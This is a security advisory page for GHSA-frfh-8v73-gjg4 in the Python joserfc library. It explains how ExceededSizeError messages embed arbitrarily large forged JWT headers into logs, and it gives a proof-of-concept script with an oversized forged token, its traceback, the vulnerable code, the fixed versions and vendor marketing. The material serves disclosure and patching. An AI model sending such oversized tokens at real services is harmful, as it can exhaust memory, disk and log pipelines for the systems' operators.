GHSA-frfh-8v73-gjg4 — joserfc
Fix: authlib/joserfc@63932f1GHSA-frfh-8v73-gjg4 is a CWE-770 vulnerability in joserfc. A fix is available for joserfc — see the affected versions and patch details below.
joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-frfh-8v73-gjg4.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
joserfc🐍joserfcReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.
Details
In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation. The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se.
It is therefore the responsibility of the underlying web server (uvicorn/h11, gunicorn, Starlette, Werkzeug, nginx...etc) to enforce limits on header sizes. For example, a FastAPI/Starlette application running without uvicorn and/or gunicorn cannot enforce header size limits on its own. With uvicorn/h11, the --h11-max-incomplete-event-size <int> option can restrict the total size of the header plus body, but not the header alone. Similarly, vLLM serve —due to its reliance on uvicorn/h11 and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header plus body and is frequently increased. In practice, a robust reverse proxy (such as nginx) is typically required because it can explicitly cap maximum header size. Unfortunately, many web applications do not run behind a proper reverse proxy.
Given these constraints, the joserfc library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing.
PoC
Environment
Ubuntu 24.04 LTS
Python 3.12
Tested on joserfc version 1.4.1
import logging
from datetime import UTC, datetime, timedelta
from joserfc import jwt
from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError
from joserfc.jwk import OctKey
logger = logging.getLogger(__name__)
SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e"
LONG_JWT_TOKEN = (
"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ"
"."
"eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ"
"."
"6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8"
)
HEADER = {
"alg": (
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
"RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
),
}
CLAIMS = {
"iss": "auth_server",
"iat": datetime.now(UTC),
"exp": datetime.now(UTC) + timedelta(minutes=15),
}
def main():
# Create OctKey from SECRET_KEY
key = OctKey.import_key(SECRET_KEY)
# Simulate creating a very large JWT
# (this will fail with joserfc.errors.UnsupportedAlgorithmError
# due to an invalid 'alg' header content
try:
token = jwt.encode(HEADER, CLAIMS, key)
except UnsupportedAlgorithmError:
# Use a forged token that has the same header and claims instead
# but an invalid signature
token = LONG_JWT_TOKEN
logger.warning(f"Created JWT: {token}")
# Now try to decode the large JWT
try:
decoded_token = jwt.decode(token, key)
logger.warning("This line will never be reached.")
logger.warning(decoded_token.claims)
except ExceededSizeError:
logger.exception(
"The JWT size is too large and may be a security attack attempt."
)
# this is logging the whole header content in the exception message!
Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8
The JWT size is too large and may be a security attack attempt.
Traceback (most recent call last):
File "security_issue.py", line 55, in main
claims = jwt.decode(token, key)
^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode
header, payload = _decode_jws(_value, key, algorithms, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 127, in _decode_jws
jws_obj = deserialize_compact(value, key, algorithms, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/jws.py", line 183, in deserialize_compact
obj = extract_compact(to_bytes(value), payload, registry)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File ".venv/lib/python3.12/site-packages/joserfc/_rfc7797/compact.py", line 50, in extract_rfc7515_compact
registry.validate_header_size(header_segment)
File ".venv/lib/python3.12/site-packages/joserfc/_rfc7515/registry.py", line 104, in validate_header_size
raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.")
joserfc.errors.ExceededSizeError: exceeded_size: Header size of 'b'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ'' exceeds 512 bytes.
Code location
This behavior occurs in:
joserfc/_rfc7515/registry.py
L102-112
def validate_header_size(self, header: bytes) -> None:
if header and len(header) > self.max_header_length:
raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_header_length} bytes.")
def validate_payload_size(self, payload: bytes) -> None:
if payload and len(payload) > self.max_payload_length:
raise ExceededSizeError(f"Payload size of '{payload!r}' exceeds {self.max_payload_length} bytes.")
def validate_signature_size(self, signature: bytes) -> None:
if len(signature) > self.max_signature_length:
raise ExceededSizeError(f"Signature of '{signature!r}' exceeds {self.max_signature_length} bytes.")
joserfc/_rfc7516/registry.py
L103-123
def validate_protected_header_size(self, header: bytes) -> None:
if header and len(header) > self.max_protected_header_length:
raise ExceededSizeError(f"Header size of '{header!r}' exceeds {self.max_protected_header_length} bytes.")
def validate_encrypted_key_size(self, ek: bytes) -> None:
if ek and len(ek) > self.max_encrypted_key_length:
raise ExceededSizeError(f"Encrypted key size of '{ek!r}' exceeds {self.max_encrypted_key_length} bytes.")
def validate_initialization_vector_size(self, iv: bytes) -> None:
if iv and len(iv) > self.max_initialization_vector_length:
raise ExceededSizeError(
f"Initialization vector size of '{iv!r}' exceeds {self.max_initialization_vector_length} bytes."
)
def validate_ciphertext_size(self, ciphertext: bytes) -> None:
if ciphertext and len(ciphertext) > self.max_ciphertext_length:
raise ExceededSizeError(f"Ciphertext size of '{ciphertext!r}' exceeds {self.max_ciphertext_length} bytes.")
def validate_auth_tag_size(self, tag: bytes) -> None:
if tag and len(tag) > self.max_auth_tag_length:
raise ExceededSizeError(f"Auth tag size of '{tag!r}' exceeds {self.max_auth_tag_length} bytes.")
Another occurrence of ExceededSizeError in joserfc/_rfc7518/jwe_zips.py is not affected
by this issue as it does not include the payload content in the exception message.
Impact
In scenarios where a web application does not reject excessively large HTTP header payloads, using joserfc can expose the system to an Allocation of Resources Without Limits or Throttling (CWE-770), potentially impacting disk, memory, and CPU on the application host, as well as any external log storage, ingestion pipelines or alerting services. This risk can be mitigated by removing the JWT payload from the logged content in some joserfc.errors.ExceededSizeError() exception message occurrences. It would also be beneficial for the documentation to advise deploying the library behind a robust web server or reverse proxy that correctly enforces maximum request header sizes.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | joserfc | ≥ 1.3.3&&< 1.3.5 | 1.3.5pip install --upgrade 'joserfc==1.3.5' |
| 🐍PyPI | joserfc | ≥ 1.4.0&&< 1.4.2 | 1.4.2pip install --upgrade 'joserfc==1.4.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for joserfc, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update joserfc to 1.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-frfh-8v73-gjg4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-frfh-8v73-gjg4 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-frfh-8v73-gjg4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-frfh-8v73-gjg4 in your dependencies?
O3 Security finds GHSA-frfh-8v73-gjg4 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.